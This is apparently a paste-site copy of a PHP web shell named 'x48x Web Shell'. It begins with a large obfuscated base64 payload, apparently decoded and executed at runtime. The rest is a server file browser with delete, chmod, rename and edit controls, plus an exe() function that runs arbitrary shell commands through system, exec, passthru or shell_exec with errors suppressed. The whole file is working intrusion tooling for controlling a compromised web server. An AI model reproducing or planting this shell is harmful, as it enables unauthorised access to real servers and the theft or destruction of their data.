Qcdx6AfhX4e623GmhLrXLlHACruJmPY4fO6yHq2b9pHf37W8bQ4SrAOF8Nm9ZTbZz5KjYyVwHQW+OVvQ2fSqhaSwW/4X7yPoRhAGn+Fwd7I4lF+McBdkES3HwH3z/qq94Ob3f5/vH1EtJDEQm5E/Jgll2PFFaHMWNcZQrY0VhbsYFW+Y7EQZ1sc8c2p8cRYPt/YmIIv6mKavAWDKE8X6gx0EImzAKh1RAszmgboD1Hdg0LD0nDnOiLkXIyWBJH0aibsozmaNZfgxR0WdhDD+waPgFewB3JGZwCjH8cS0U9qetZCYv6ksoOVQiCJjLSa8GAkgAERe3N2tqzd49+IL48Uk2D21IV+2iYq/1cw9tFWFYpRrotGLP9ZYPbeZin9r+83owfzhK7dktabOBvICy48Um5Nr/clDJ3M3N5J/pAAh5ErkQkN+9NYCk10CSnjeEqA/8/xyc9Gp7Vbx88cN40pymWFPtYNA3e+4wsVSskruZtkO2eu18MjUB/oBdJzcTUOE3eR9BhIkQp8jFq2tCMXJhFs9dDmV+DS8TA8gScX9bsZ1U6uFOF30S/irg5OE9nRKyRQKyRataPOS7+I8H2MEDPMlwiJT5v9B0rwUx+vae4BLdyl3+9L0Fgmb7HSzljx8gaPh3Vbdj6cQ8q8O4ak/6ilgnQ00dyr0T0mxckpurA9nXUHuTWK87TB1h4WGAk5E1y+BjZbrZ06jAyp6TpgEw/zNdDjYgkfgde6TtnQ8xSYIsWq7iUF1WiLo6AC1DcUTvgWSJVOOG/vf7HyxriY2ehzSJ0Od5lwXZIhCV17Et4398QeQ+575cLvQgC6i2i3/h7y2who/X3b/umG+vaJ3vMOR4qUQqt5+2alVkOzdMG/mvalFkO05MnzSsaDzx3bMU1BVshOZ6dvtHBc9beWqYukLXaGzK/2ruwDVkPhT0yOMqCf8X2upaU/r/imi+FmeuJfel/5jnyM2zAAOPTlHfBtxLNNCTf1CT4csLWaoBEAY31fGT/60tZhzAf8amNxY/jsfioXll3H0k4td6rT2Oe9bKSruttcVkFCyj4M+nm3hZ1y71xAxglHFV8v+QJZ7lBRZQ67kQ7nNyl1Db77IJllnqTuiM1nFQhbjkbdp4rvum2/PdzaoHtvQKY97Z0+8z/bJkABHRdHFs5WfNRiwbHhJuoyxyzjhi97OA7iY/4y2wMbL/QMuGAJnaVKfLX7eoiyFXfUzi+6D6lAfsIy8FN5BjyUTNEdrksuatfJ3XOjO2CL37ehHys50hX6XlcxxJ22LEczeoNoLgzFR9X5HlMX7ajAGzHQ5VL6UZlszJ1DfBFnDqxzKorlWvi0tcT2KUWV9knPdaYu68TKpqFuqjNUkhUZocIAwBErCHOKdqA207TA4tyquGLsIANjIpaXL3A4JgRn/Wzas4BjGCINiVguUHth7JiSdPOKoE5D0e5hwtx8ReC7QxxvUJvv/zcRZ/rg/C8Qf+P/qfF3e7otCu6E9KLiep3O1A4qk2AhIXcBOxuVnAHdzCW9EbVBW9ZHz9jinaWr9E5AUAdeup9I2joqk4YPwK3zPJOKnq9Un62DXAVaylVtzFFA1H0npgfqFDyfPGGci4ZoVkhn05+/qCy4vjlGDKqj7hWlrve1vmAlT1KFzAqPOW/qOSunR0XEX25Yxsj379FLcL3+Ok8J1XpzLCywUhtl0Bjb+KkELl8s1iR5nnWhGyJ4MC8zCjpsYMGaepjCwciJVzQGkFwTT1hk6kwOSpNngHOeqQ0l++RIkJ6Dt+JJIQBop2qL2JcZkJpM090s1e86eOLhNrbwc5LI9VvoJ44EdO7cvqebX4jVxpit+wzUYFR6n3Ipi8ph/G/uj/wSF/5K04RgWnigybw40dMEY8HQx1m8Rf3eoxe0VHOjZDBcd5uLftKdB6bn4bIfHPxQQsYfKqeaIcDJs+SDgmPeaGCCNed5dXzGj+O3fxg/rlF8pmCZr/mDdfCX2W+oK/WM2dztIwy2qNX39ofyzVBR6umC00vnp9juYVgz7thGw7PxO1cYgwAQwkEVYbywUUetsE49zJAqg/+CzjJFO1CjKnmyDhkp0CYrZ2l5Nnzu7ST9IFcyydm6uM9xbWHGSgyRMKSHZFKIiYcAtfdDoFTLN76YiywGlG2H5/sMJdJhz0HNOyxiijpXOPsWcrZRcty0wmCZaFmujGayJ9o0X454IhBZ2x2WzQZtXyjRdnDiJUQk7xZKxiVB248PbwAIiIqj/f4EY8Z/q6V4AkgLRATDL111/gq502jqTb/Fxl0i2Zi1gUoKJsC5p66bMFYkRw5iFYQjZaAPvw5B//ffTt5RuOYxEUVUIdpzm3B99GP4g1IGfwBBIAvSEizwWDbjY6erysjC1RzAQZpx2pLN6kIr4l/+gGbRCwNXDTVi9wHXB1k+vNft2GRQVcZWRrAJg5sB/Yy2AxG2BnQvYW4qK2F4umEjdOlIMvitdFbapi4UkC3/eruyWRpH935ulr4Q68tvSMInBsShExTycLK2f465pvsJPYnEz++dNXge9Jk64W3gbP6EpNsdWk4VcZggHZc05qGwB9lkuDgdn64d9JJPN/CBcMlXcawCvf2ZZVdidqYJ2O5s1E8ABqRd6nUws5Swx0S7gNGCyvzWQvImiV+r2+juPUUKDmMeizt9fFTx9RAPeeF1DXS/lwqvZnQe2PVV3cURYn29JLRm0B6jC3kmlJiNq70cCnA9uETu8FcGnhmkenxfyKn5HdELCTQ9XX3LpuPI4qFuL1LYJxBTz82PvO9Tyk8ff1EF00DUGjCnxf+oYjDBuNwmixDK5vNaVMzEqgm+sZ4HtCgcFcR86z50wyy22SwK+eIrhdZTnSwc1HNsCNoq8WCZwXQC/hxznBwBuCA4Qh9BTVhQFvU9sUfI8X20LX5Wnv9u6uGAdkjud+4RREuCD/34NZ6vZRRdcQCYvHASJ8D48tXMWYRPtMq+dUj3ZJQ4zskK6zdVuUTCU56ZTbwyxwcQ25afaspsfjx9oMv/Yv1xrjh2mzTJl2NeZhOH4qzcb6qHbqXTP5Y9cWrlR1OwAhpaYr41c6O5XT1STqp9rfHzpCIng2u/WkbF2s3sD3fOEmKb1IRcVFsdLJP2k1RrtijpTT4maDMweNTcp8dXbJxukt9wBmvd0Px2fXNJkWe9eocpJZNz+ieJ0kXXe+Kul8n64XSMVgfgcYXuE7vqacNvG8lXH2qZ7C82iqrZdlOZUtFavVMszbLmkYEWNO/QDnzAy1JzBqc/Q9+wZn4Nlpp0dZ0cpGJymWKplzsV0s1ZOd6012JjD3L1+ZYUSgWLfGWroz0E3NdLVbHTD38Mm5MIllPZ+kbqzKdfj6Q3d+fXg1dGWtgo68mSjczUvpmq/ad79GuXiKZ3b84nlI0qjlp2cd8HfnC+XZmUsZkXpRgD88RhrP1K45K9TodNUSBWp7k9ocPsXKAu3wfYPpmhbTGkLoYdUC3Fq6aIv7P5RSvMUE0M9HjHMZUZ0tG1Cj0KLvysnMNTNduV+oAkKZ6Zlok8xelzHsdV6QrdrZGGsM+sKWHlvMr+wMw+15fwHyRp0yrW+51K4+lVtmuqj3IJtAFzKeWFvcXqsXWrdC53LgwNNVvzwj+cN97HhnfSJ1rdshnq+ezLe45BVJCRx1i7o0fzWSmBrXzx28wUJCUyJMT08RQQQTPEJ5dYeIYsO+IU5XgtoeRugR7PlMQtNItEPgSLoju7m9lIaaoytxhQFNa15GmxtX8mfxgB9Va/kBb1tO75vUHBKK9FrlEpr+nOAGplalZr+kqF956FFG14XD1JHXI4FfzYEJg06x9zsh44qQnr5Df0Rw8OQUwRIvReLWuPuAMw1htkCHI8fzHChgeZ1IivUWc9U6sF0TpK84KtTMAXXtW6NefEmM8eymyt5KWmRL93X+UIvtqBz7rEH5MdvqIA3BG+Gw91oyUz3/3FVY+Hs9eg4eTVJ5rXevHe0RJFuuIY1zPBo7NopoFiwOZs60YSb17pmBJd8oDkjQEuU1xQFZ5HuazShJVII+nNbND0ysaIJ6bGFrsDBqpXG18th33hTNLFue4e/lZTL/CJanRZlIm+XSY8zaFs5wAWtzSR3BHKN442nGR06a8cZAwkdWdAZnLQ8WzLFcuD/GL1F/eYWgYqXYNq8Bf6Ng0BgesL4EQgt4J4+0s5xP8GFhUDTYpw2Xz6inUkYB2tj8fpVbt5KMNqsB/thNiccoSM5JrqG5yVxsRDnNmwTmd6kCa3nQR2hERtVyWkjXeKrqr6mu/K4qq+oqqyHgqRxDVXVgK6qvIqub1UvFd4xUfSdySQOVTGiV2Q1b7bBji9hFlFqJt3DL+RqoB85YzWtp3tq25P7Y4L5EGeEFr4td2AsGB7qkrkwEopxIIHsRyN4Gw10GgraOPCDonNvzNSDUYGQZY/vln4XVn6XFn/h88cdWm4basb3GMx1LgsGNl5czvPcW1oQM7QVfamabhaZ1fQilr94VIqfHwjrRfBnDEHsIM0e0f7gyljeF8qziHln7UDTN95VI2aJalR/zp6D/DeNcrYwcz2z7jiHgza20ZB5PLT+KJUMjtQ2EbROotY+A1WxgUxJOAMalIWxeicfwX2nCsoYCbO3Eftn7k3Qxf6G777us6Kngoc9w5cDXSqmjjUIel9c2f8Ybh2BAiaSfdcrPKAv3gOj+Eon0usn/fAHPZtuRa3q6SwDgpfmgj0nrlml0+CciIz/k9L5aPrQ6BBZdWcBLsSNimZHPYCvXvscRSfNKpQnlSnterUbOFXMMZQAIQTqPlqpCXFh3/1ytU/FdtP2b+MH5ow3K/wkFWUnmJdmkQNWdpxsPhqWCEHUGXBijWUyUlBHC+GOeyOJSLfx37A9jFa7ZatwBmO6cx3+E8AYji1XqwRtlcYurUfN2765bladpvtwrXl/D1Pbakb2sZaAlsaxA73+Spd1ISPny+eefJ5IEo4px5xC7D9p945/WDK+jo6epPQAIubzYZPL3339U/f6pQUnv4hvYiZoc9ZtVJag+z5NalmNkAypoi1+T924phtOgqVVoa9Pkh6WR9QhQABhqUx/CCL4/wg2o6Vk6+20C5vjL51taK1D+QaE1gATQAtQRvfBV4Tv3MqeZbX/55pfPJUwyxLcRaMuN4hgQ4dT1kWQYS0kBezF+HB/GCaBQfN+JaoTTcAL70cU/3ZBTOJ1i/uPuqgdXNOauiOunFL6PFidFi8tE58n/uiBqfsO25tvPp/gffoRZ9kK7lLSFkXmrip/Rp2alEyrPu2gH9nNbG3vcEYuxWhf0R3+rDiXC/6UudQ+wGBZRlR9jKG1YXeAdcnlGc4snNm74O5I6EE8dLKdkGHvlOT1p7Nw6+tdlvPAzd0DF0KJ57HQUMpCWZhuKS/RzDsTJIdmKxtm3UuoblnhWwYh+QqJDOFSl0fwHaVpldZMJSW92KEoygKFYUSO7r80JF6NBKIc8J0d5Hc1a/Q2u2u4X9Ej4llUMh8OT5blCbwnHCeNARG2RZat6vEHYnQm1UKg7xhw1Zu/NeLWQOVdraD6BNJwERSsja3Apn/KuJUCXhciGzhYjystYm3EQd/3999+eWrjwc2Zr3x9xShE3y+1F+YqYv7gnKo07mxPhBntLu//hxo4KsmnUBmYHapctHuWYPHeTzcvZO05hMhqnvqYsoIuPbgqacdUyuWmJTTRZcV+iWukTxfchATWkw0uFw9hYPIXa4rD0J8xsiqRKP73pPGtGZx3vcVIdiPNHC1/FE294puNqGWPRPbmKAE1rkPQHCRj/+PZUIiEiWCceu32XB/IGCjGilscQFTgt7FRXlHQXK3QgsICpNMr1SWGgmAndmEIDqQLk/LGVi4hx9Ucq8Sau3lDhr3YoCWHdWrkvDNEl/7twXpjo/dV7oi8gazzNTb0xEG4osEJ4YGuTBH+sOL8bqAfYbv8bONCKHQGxPQ/RKdcz5Da71BXPsETaPeYe9WZAZDrGvDMHDODY+s2mfnYWr6VfMfSuDsp4FBDZZNfQOMqxedSJVlQxKi9FPwGNeAan8VAxafSvWrZ7jeX2jUXncxvm/zdN7i+f97bdGwy3ah12pPAvZEeQ5VyZpVrz9EdYx2b2eFs2yfQ+rtKKxPAzav9Joy/paykBsjS0sWAKL7WhYuiNgxTa3RAaoXoP7duXSmtqwjT5+euvkJah3Q1ESbW86SF3YFtKinmBVSY7uaKmvAE8/BY/xpfJg/O/HbbEIe9Z5OIXDnUkQFI/eZnMwFIMFWlZki5XJ6CqYNjJ6iz1Jgwcx5I5tjuiyx6dysBDHmrn+Dq/RPfyaKuOLhov9x8X9x8X97/cxS12pI+XZkmK3McHzoMGSjlkJ3vhd97dzwi2cY7jAXjItiWdTTaJngcU1N/2H0yWT7uEYk2amk/WLa7WidslFWGhuL1cuqFDvGK6Nd+coc6gqXsP/bbXEwmGavobdXufuuZD0ce3+UW0JxlTywG/WkH4/hjUWZ0Yz20CCGC8GeCZ8AyEg+JR166Sq+noriMtrnIvgntYbe8I734wOmPNbmarVkRf9PSkYh7jpmFSqTpO5UzoaB6DUKZ/aD6Vt8g8o4R1Y3BGang9KdJE1CVekA5uqHCqSCk+XhfKvW+7XCnmy8XbfKnTLh6DfxvoIbohTNiqZId2P96VwH92hP6EEL8QRFldIYR/mcjqzAJsvFf9AuIu8hx8IbJ7SNI5zU6nr1iDPlSmw/s0w3FYQziv9djX8U3z0jo9bCDVN10CcMoDjUo4QIZeqdvDzyP+iPVo7Y9L7vrh8g9bf/8AN5NYGFWd8ENUWKXZdXHqt8XXnQTQfzTGyuvJi0IuNgww6AtgpNrF4mjRdBRqrX194f+aivjLTi4PUUDeBC36h2uTiKjH/L0lu2erSh7IXLojj22eN3wG8yXQhbFqKrwHo5XbrirR+XKDS7J/+kkp+tYl+j1GDn6C8HcIQaUizHyIcCZeV50eLj66j7vn4Ny7dA591crMmLY0RK8znH1e0Tk5r1XkCrNHujF3yqrV4Quteep2V4qR1PRxb58zNKbrwotzSN/oOjuUu0hYs8zRUKsI1yoCZo9XUfD5N+jMopEC8z9n6aFvaNB9nr3vpOnSeaxLjTE5y4nx9MH90urolnRUdBw6h6pDup3hM60MR9Jkyz0ay9d0cGXOFT2R72RulXvmjsY9jR/udqt+iuYcG3Hur2k/BhWATpQI16pME+jE0zU6LdcZnjEwLs82fGnZiwvfVa/RI6Y7mehooEx4aFznHCBn9hT6JPRlZFTlJ6gYEJ+9SELleLUq262NS1az8mJxDEmD3/gcJcZZEvqMdHF8qzPQOXOM8A/RFxeasV3aAD4NSOM2y7SKYpUUWkpztMJLwOtHFp/fxZgp+K2dw++lvviMpKD5OKWb9/RkYHmO5Gc+0+A6IB8MOhvR5jmBzy6km4GMDEgrz6lc541Bv1lIkA3oO6B41YHSGmaKlZ+iZuDss9iflTo9clQwSTozeqCz6Lr2OfN2RE/30NljulLOm0a5NvcIZaNbkwzIyEexqpzTYd0YIELn5Ix4baTacjoLdLdoM1D1np3Sp+xYPY3ow032+XrnGuBSrjEO30uQUOC9kNY5luCHzsUDbZLvM/c8NbbLninWEOHO0bXJyDkbWVYjPRqTosFtZYw+8blzJXxeHMDd4TFiuzT00wy9xv6pImzDfGCVpyrIED7TWgO+PWTo/C86XVJ9zpn7/ADJM8GRfn11tXQefWVkYNHZcBY90O6xLBig9TzTzvJtNzNu2thz4GbBQN5SpjUc1zj6DHF+XLJLjrYLHnp9mDXSQOsSOicO9KGGcoWvp7LlqnaW6qmvwqOhPrOvUeccbHZjeZ8eIRyzA5qz5RsA8+gEzKsOCF90vzO3cS77voHOAFDn4ynpjOXoENgsLPuNGgtlquL+5Sp9VMrXkB0pombD0ExtVX+xDtiwD5jFvsvtEZ3XtM+cq0ZkjNvf069ZeJKmzSyxD10NlfmNdXmvcwLT8rVCADeSnYyJzlBG67Tp2Cedm/iMMxw/3amnbLsQFsmiYbGCd3NskHtQAd1Hq8QGAD2shjUx1XtRywVc5sWypaKNWxOd6T0uA73LSWio1XZONcbO2XszbIR6DXcrFSwWZ7o9hyuN5IXwiJxOCPa+K44LcpDRrnNt5c6eQiog/qer6Ky7+4YxXsV/oXoTfBoN+BA+2nT88Y26mWHUxytj2G3lK+eF7teVs/3YZx6NA76SBvmnVLTRrCjgF6+N2dfHRtwWnQ33XGPkvnH7jHv7LMhF8RzZJoUrjpBZMtOX54J2n83XKQ4apdvzh7vhs/J3FwKTwlzoK9jnFKpfAf908FqOH88yFviTmpa6nraHQq2KAW2CzqcEf580nlfMr0ve7l445P/p0zbgRxkVc5Mp2IqBTXdeN+rtZKnbTvQDHOCee+Ygi/w+PieP4QRer4ENBtrToyy+/0vvDNDZuvOzCZNTI80C9Zkx2Gh5RgslxiiMkw+Fe2agnLIZO8YocL9mx4+Xz+NwOOJqGeJUsgt+yrh9U+fv6bXMs8rNEF5fwf5a5a46xvZnmjR1ePKsZjTHOHQRlpzz/UdH1A32YYKuMVH+2+MyxCZZezJOtgOPj2B6EfwKBtJ64qvBlgLXMlYcZjhkSPfpSo/MfH1ZP/2KC6455+zG4TOmahedG/gC8Ucmj/SnnM4M9e5xd8dLX9U0eOqesxzZkQr6zGVNjX0plLQpyDPHvuJpE23UtADXDODKgQ8Cu5htAWsMulN82LXRBEwH3nBsdH50XzPlBnS+gEI4n59S+fKMcMFS2tnjqXBvp5JLv9iRZiZvkiMxjOrKHZu25c64WubLzan8KmXMfWikZMUU/Zrknsq37lw7wt5IIL5x2ppkDbTEcLz6n+PIpjVxizlUYdg0PQB7yc1srtr2OFjOJVp0wZ9C+MYoUPwi+ELl3oRp2p8aB361zI/zapVuIy3+DjRVqRyd1HcqOrNlyK6FgeaVRiHtpaFv89pYVMz/9nHK+NNl9Eeub00WCM6mjuPwGdgoZXMrMgnFmaawLg6a9kPHfgXFewjvLNuBMGZT39dTmoV1yKZVfOaN5ZH9XrL7ICc0iikGEAMYjRLMybkxPbbVyJeCD7UQv+qODylOnFN874IdauJkffF5WTIOOatpJJ+C9qCzXd041X8M/LeQKzh/wT52bgxintFStij5eMPKjxroBRFnni/EPmmsKU95RrtWczqVQbVJqjLn13OzRply7iubYCTj/75tjfwtxONdFNuZ+FxMDx/WwOyb18x1i+XpbWb0ADEVwHHHaTMfOnqGy6YltrM0hq0zko1zdB57sDVnrizAd9BIGnGgCrafNR9J2xUhPxyBjIFev8z7LMA6HBc9+SP8f4R5ANjcbPsyf140TLqCb8NMtVskvm0NXuQP6Yp3coYQZjl0BTuxOYlkYbxluC168J+d563wjoyPcJFaZvjz0MlyN8vUQfDaMlTkHGf1pcIJRrDBUhQrgu0x65BfgC8EO8JrZxDFrBCHoxx2hG9wgh/TOoPfX9FYdCHmxnTgYeQX0XZlrvScJtj/8+76AM73VkG0mX+3PrZz058Tn3Ne1HfeeWNPF2cH/M7N1mdO8rz+7HqCx+I6wjpNJDe2bFuHP+q3Qe7W0TeMvQ1C1xnOvcuZgU3vlCGWPS8CDcGPJB88OZvXxj22mvbZ4RCLp/D53civQL7otRPr5cyPFuiajy0Gm6CBene7baDemwbQhF/miTuml56g52dtbzbQy5Scdqk4vlD3WhTL8R4/i/Ivrl4aAvwZ8D0kt2NvxVcNb3YD8uM29s/jbxplDMgveX8NseNKEjuOybnkC3RLL8btJEntCINTejLQy8N0rczgPIWu8564G2+hbFzOkbh8fkn5PO7AZJMEvg9rQyV+H28fuduBS6CaAR6OrqFfGc92Gs5Nydbx2CmJHeVNJgNlBjEuTHQjtmKfGHk3fIqYVM37xpSf53rkPPNno5bnIUnF600ACz5QHOa38wk7nvLGxeTs9HT59eZZQU5hXVBltlucvBKT2/mMdH7AQjMVYeyJejWGzNn2peHTtJ3CNHw9w7iCnDiythhCnpI8W2LhaxKvz25MniY9MSeJq+vO+h2SC8hwG2j2QrwWlMyAfkrRTYW9Hksl8cTybcCK3rh4FHV6xsTrgMgutbVBqeNMi2VnGGsCMcMQJMJAaQXxxEwL8NXzsX2efFjryvd1zbExBhtRN7imHevenlCODGy7OrBoZcC+4jycs/NjyPtA/42mSq+5dzeTR7jZuHNOnGTH81m7wylcNaNjlTHE9+7aF8njVl6IxrXPkOcUKwv5EJnDTOt43bjnxH/asK0X3mjQPdRlj7cJ5kIP7SHJ0yvqwBAN9z3C+fu+6LLn7cHlJ4vkKrXpgR58kP0JULR6Mvnbb8PvAePGYeufWGHsSSo99oBgWadEdaNhYjIQ3+5UeuzZbh7bx6iui7Re/5DRM87ScMZsXRf5zSu9bF003J5/t99swa9Z6S+GKImHZJtq+Dwp55mhXw2B5wWwpdpi7wgrz6d/yznSbu+ea/kbKYlLrTpLa1kIYDpFhZ85i/ZQdHQy9JRblHHJQxMaPwSLKniJs5P0yZkDzmL4FwIqaRzzgDjf6enfhKXv/nY+QJBqzsayVikDTMJSSc4keMZdfrP0/wE=')))));
  312. ///////////////////////////udah sampe situ aja,, blom di tambahin lagi
  313. echo '</center>';
  314. $scandir = scandir($path);
  315. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  316. <tr class="first">
  317. <td><center>Name</peller></center></td>
  318. <td><center>Size</peller></center></td>
  319. <td><center>Permission</peller></center></td>
  320. <td><center>Modify</peller></center></td>
  321. </tr>';
  322.  
  323. foreach($scandir as $dir){
  324. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  325. echo '<tr>
  326. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  327. <td><center>--</center></td>
  328. <td><center>';
  329. if(is_writable($path.'/'.$dir)) echo '<font color="pink">';
  330. elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
  331. echo perms($path.'/'.$dir);
  332. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  333.  
  334. echo '</center></td>
  335. <td><center><form method="POST" action="?option&path='.$path.'">
  336. <select name="opt">
  337. <option value="">Select</option>
  338. <option value="delete">Delete</option>
  339. <option value="chmod">Chmod</option>
  340. <option value="rename">Rename</option>
  341. </select>
  342. <input type="hidden" name="type" value="dir">
  343. <input type="hidden" name="name" value="'.$dir.'">
  344. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  345. <input type="submit" value=">">
  346. </form></center></td>
  347. </tr>';
  348. }
  349. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  350. foreach($scandir as $file){
  351. if(!is_file($path.'/'.$file)) continue;
  352. $size = filesize($path.'/'.$file)/1024;
  353. $size = round($size,3);
  354. if($size >= 1024){
  355. $size = round($size/1024,2).' MB';
  356. }else{
  357. $size = $size.' KB';
  358. }
  359.  
  360. echo '<tr>
  361. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  362. <td><center>'.$size.'</center></td>
  363. <td><center>';
  364. if(is_writable($path.'/'.$file)) echo '<font color="pink">';
  365. elseif(!is_readable($path.'/'.$file)) echo '<font color="purple">';
  366. echo perms($path.'/'.$file);
  367. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  368. echo '</center></td>
  369. <td><center><form method="POST" action="?option&path='.$path.'">
  370. <select name="opt">
  371. <option value="">Select</option>
  372. <option value="delete">Delete</option>
  373. <option value="chmod">Chmod</option>
  374. <option value="rename">Rename</option>
  375. <option value="edit">Edit</option>
  376. </select>
  377. <input type="hidden" name="type" value="file">
  378. <input type="hidden" name="name" value="'.$file.'">
  379. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  380. <input type="submit" value=">">
  381. </form></center></td>
  382. </tr>';
  383. }
  384. echo '</table>
  385. </div>';
  386. }
  387. echo '<center><br/><font color="pink">x48x Web Shell</font><br>';
  388. echo "
  389. </center>
  390. </body>
  391. </html>";
  392. ///////////////
  393. function perms($file){
  394. $perms = fileperms($file);
  395.  
  396. if (($perms & 0xC000) == 0xC000) {
  397. // Socket
  398. $info = 's';
  399. } elseif (($perms & 0xA000) == 0xA000) {
  400. // Symbolic Link
  401. $info = 'l';
  402. } elseif (($perms & 0x8000) == 0x8000) {
  403. // Regular
  404. $info = '-';
  405. } elseif (($perms & 0x6000) == 0x6000) {
  406. // Block special
  407. $info = 'b';
  408. } elseif (($perms & 0x4000) == 0x4000) {
  409. // Directory
  410. $info = 'd';
  411. } elseif (($perms & 0x2000) == 0x2000) {
  412. // Character special
  413. $info = 'c';
  414. } elseif (($perms & 0x1000) == 0x1000) {
  415. // FIFO pipe
  416. $info = 'p';
  417. } else {
  418. // Unknown
  419. $info = 'u';
  420. }
  421.  
  422. // Owner
  423. $info .= (($perms & 0x0100) ? 'r' : '-');
  424. $info .= (($perms & 0x0080) ? 'w' : '-');
  425. $info .= (($perms & 0x0040) ?
  426. (($perms & 0x0800) ? 's' : 'x' ) :
  427. (($perms & 0x0800) ? 'S' : '-'));
  428.  
  429. // Group
  430. $info .= (($perms & 0x0020) ? 'r' : '-');
  431. $info .= (($perms & 0x0010) ? 'w' : '-');
  432. $info .= (($perms & 0x0008) ?
  433. (($perms & 0x0400) ? 's' : 'x' ) :
  434. (($perms & 0x0400) ? 'S' : '-'));
  435.  
  436. // World
  437. $info .= (($perms & 0x0004) ? 'r' : '-');
  438. $info .= (($perms & 0x0002) ? 'w' : '-');
  439. $info .= (($perms & 0x0001) ?
  440. (($perms & 0x0200) ? 't' : 'x' ) :
  441. (($perms & 0x0200) ? 'T' : '-'));
  442.  
  443. return $info;
  444. }
  445. //////all functions disini tempatnya/////
  446. function exe($cmd) {    
  447. if(function_exists('system')) {        
  448.         @ob_start();       
  449.         @system($cmd);     
  450.         $buff = @ob_get_contents();        
  451.         @ob_end_clean();       
  452.         return $buff;  
  453.     } elseif(function_exists('exec')) {        
  454.         @exec($cmd,$results);      
  455.         $buff = "";        
  456.         foreach($results as $result) {         
  457.             $buff .= $result;      
  458.         } return $buff;    
  459.     } elseif(function_exists('passthru')) {        
  460.         @ob_start();       
  461.         @passthru($cmd);       
  462.         $buff = @ob_get_contents();        
  463.         @ob_end_clean();       
  464.         return $buff;  
  465.     } elseif(function_exists('shell_exec')) {      
  466.         $buff = @shell_exec($cmd);     
  467.         return $buff;  
  468.     }
  469. }
  470. ////////////////////////////////////////
  471. ?>
Add Comment
Please, Sign In to add comment